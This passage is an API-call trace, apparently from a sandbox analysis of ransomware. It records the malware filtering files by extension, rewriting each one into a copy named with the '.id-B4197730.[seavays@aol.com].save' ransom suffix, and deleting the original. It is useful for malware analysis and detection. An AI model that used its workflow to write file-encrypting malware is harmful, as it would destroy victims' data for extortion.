(lpString=".dbf") returned 4 [0159.638] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.638] lstrlenW (lpString=".1cd") returned 4 [0159.638] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0159.638] lstrlenW (lpString=".jpg") returned 4 [0159.638] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.638] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0159.638] lstrlenW (lpString="boxed-split.avi") returned 15 [0159.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.639] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=84190) returned 1 [0159.639] CloseHandle (hObject=0x390) returned 1 [0159.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0159.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.639] lstrlenW (lpString=".doc") returned 4 [0159.640] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString=".docx") returned 5 [0159.640] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0159.640] lstrlenW (lpString=".pdf") returned 4 [0159.640] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString=".xls") returned 4 [0159.640] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString=".xlsx") returned 5 [0159.640] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0159.640] lstrlenW (lpString=".ppt") returned 4 [0159.640] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.640] lstrlenW (lpString=".zip") returned 4 [0159.640] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString=".rar") returned 4 [0159.640] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString=".bz2") returned 4 [0159.640] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString=".7z") returned 3 [0159.640] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.640] lstrlenW (lpString=".dbf") returned 4 [0159.640] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.640] lstrlenW (lpString=".1cd") returned 4 [0159.640] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.640] lstrlenW (lpString=".jpg") returned 4 [0159.641] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.641] lstrlenW (lpString=".doc") returned 4 [0159.641] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString=".docx") returned 5 [0159.641] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0159.641] lstrlenW (lpString=".pdf") returned 4 [0159.641] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString=".xls") returned 4 [0159.641] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString=".xlsx") returned 5 [0159.641] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0159.641] lstrlenW (lpString=".ppt") returned 4 [0159.641] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.641] lstrlenW (lpString=".zip") returned 4 [0159.641] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString=".rar") returned 4 [0159.641] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString=".bz2") returned 4 [0159.641] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.641] lstrlenW (lpString=".7z") returned 3 [0159.641] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.641] lstrlenW (lpString=".dbf") returned 4 [0159.641] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0159.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.642] lstrlenW (lpString=".1cd") returned 4 [0159.642] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0159.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0159.642] lstrlenW (lpString=".jpg") returned 4 [0159.642] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0159.642] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0159.642] lstrlenW (lpString="correct.avi") returned 11 [0159.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.642] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=180172) returned 1 [0159.642] CloseHandle (hObject=0x390) returned 1 [0159.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0159.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0159.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0159.643] lstrlenW (lpString=".doc") returned 4 [0159.643] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0159.643] lstrlenW (lpString=".docx") returned 5 [0159.643] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0159.643] lstrlenW (lpString=".pdf") returned 4 [0159.643] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0159.643] lstrlenW (lpString=".xls") returned 4 [0159.643] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0159.643] lstrlenW (lpString=".xlsx") returned 5 [0159.643] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0159.643] lstrlenW (lpString=".ppt") returned 4 [0159.643] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0159.643] lstrlenW (lpString=".zip") returned 4 [0159.643] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0159.643] lstrlenW (lpString=".rar") returned 4 [0159.643] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0159.643] lstrlenW (lpString=".bz2") returned 4 [0159.644] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0159.644] lstrlenW (lpString=".7z") returned 3 [0159.644] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0159.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[seavays@aol.com].save")) returned 0 [0161.788] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.788] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0161.794] GetLastError () returned 0x0 [0161.794] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x23c2, lpOverlapped=0x0) returned 1 [0161.814] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x23d0, lpOverlapped=0x0) returned 1 [0161.816] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.816] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0161.816] SetEndOfFile (hFile=0x3a4) returned 1 [0161.817] CloseHandle (hObject=0x3a4) returned 1 [0161.817] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.817] SetEndOfFile (hFile=0x344) returned 1 [0161.820] CloseHandle (hObject=0x344) returned 1 [0161.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0161.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0161.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.822] lstrlenW (lpString=".doc") returned 4 [0161.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.822] lstrlenW (lpString=".docx") returned 5 [0161.822] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0161.822] lstrlenW (lpString=".pdf") returned 4 [0161.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.822] lstrlenW (lpString=".xls") returned 4 [0161.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.822] lstrlenW (lpString=".xlsx") returned 5 [0161.822] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0161.822] lstrlenW (lpString=".ppt") returned 4 [0161.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.822] lstrlenW (lpString=".zip") returned 4 [0161.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.822] lstrlenW (lpString=".rar") returned 4 [0161.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.822] lstrlenW (lpString=".bz2") returned 4 [0161.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.823] lstrlenW (lpString=".7z") returned 3 [0161.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.823] lstrlenW (lpString=".dbf") returned 4 [0161.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.823] lstrlenW (lpString=".1cd") returned 4 [0161.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.823] lstrlenW (lpString=".jpg") returned 4 [0161.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.823] lstrlenW (lpString=".doc") returned 4 [0161.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.823] lstrlenW (lpString=".docx") returned 5 [0161.823] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0161.823] lstrlenW (lpString=".pdf") returned 4 [0161.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.823] lstrlenW (lpString=".xls") returned 4 [0161.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.823] lstrlenW (lpString=".xlsx") returned 5 [0161.823] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0161.823] lstrlenW (lpString=".ppt") returned 4 [0161.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.824] lstrlenW (lpString=".zip") returned 4 [0161.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.824] lstrlenW (lpString=".rar") returned 4 [0161.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.824] lstrlenW (lpString=".bz2") returned 4 [0161.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.824] lstrlenW (lpString=".7z") returned 3 [0161.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.824] lstrlenW (lpString=".dbf") returned 4 [0161.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.824] lstrlenW (lpString=".1cd") returned 4 [0161.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0161.824] lstrlenW (lpString=".jpg") returned 4 [0161.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.824] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0161.824] lstrlenW (lpString="J0099181.WMF") returned 12 [0161.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.825] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=1198) returned 1 [0161.825] CloseHandle (hObject=0x344) returned 1 [0161.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0161.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.826] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.826] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0161.827] GetLastError () returned 0x0 [0161.827] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x4ae, lpOverlapped=0x0) returned 1 [0161.957] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x4b0, lpOverlapped=0x0) returned 1 [0161.958] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0161.958] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0161.958] SetEndOfFile (hFile=0x3a4) returned 1 [0161.958] CloseHandle (hObject=0x3a4) returned 1 [0161.958] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0161.958] SetEndOfFile (hFile=0x344) returned 1 [0161.964] CloseHandle (hObject=0x344) returned 1 [0161.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0161.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0161.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.969] lstrlenW (lpString=".doc") returned 4 [0161.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.969] lstrlenW (lpString=".docx") returned 5 [0161.969] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.969] lstrlenW (lpString=".pdf") returned 4 [0161.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.969] lstrlenW (lpString=".xls") returned 4 [0161.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.969] lstrlenW (lpString=".xlsx") returned 5 [0161.969] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.969] lstrlenW (lpString=".ppt") returned 4 [0161.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.969] lstrlenW (lpString=".zip") returned 4 [0161.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.969] lstrlenW (lpString=".rar") returned 4 [0161.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString=".bz2") returned 4 [0161.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString=".7z") returned 3 [0161.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.970] lstrlenW (lpString=".dbf") returned 4 [0161.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.970] lstrlenW (lpString=".1cd") returned 4 [0161.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.970] lstrlenW (lpString=".jpg") returned 4 [0161.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.970] lstrlenW (lpString=".doc") returned 4 [0161.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString=".docx") returned 5 [0161.970] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.970] lstrlenW (lpString=".pdf") returned 4 [0161.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.970] lstrlenW (lpString=".xls") returned 4 [0161.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.970] lstrlenW (lpString=".xlsx") returned 5 [0161.970] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.970] lstrlenW (lpString=".ppt") returned 4 [0161.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.971] lstrlenW (lpString=".zip") returned 4 [0161.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.971] lstrlenW (lpString=".rar") returned 4 [0161.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.971] lstrlenW (lpString=".bz2") returned 4 [0161.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.971] lstrlenW (lpString=".7z") returned 3 [0161.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.971] lstrlenW (lpString=".dbf") returned 4 [0161.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.971] lstrlenW (lpString=".1cd") returned 4 [0161.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0161.971] lstrlenW (lpString=".jpg") returned 4 [0161.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.971] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0161.971] lstrlenW (lpString="J0099182.WMF") returned 12 [0161.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 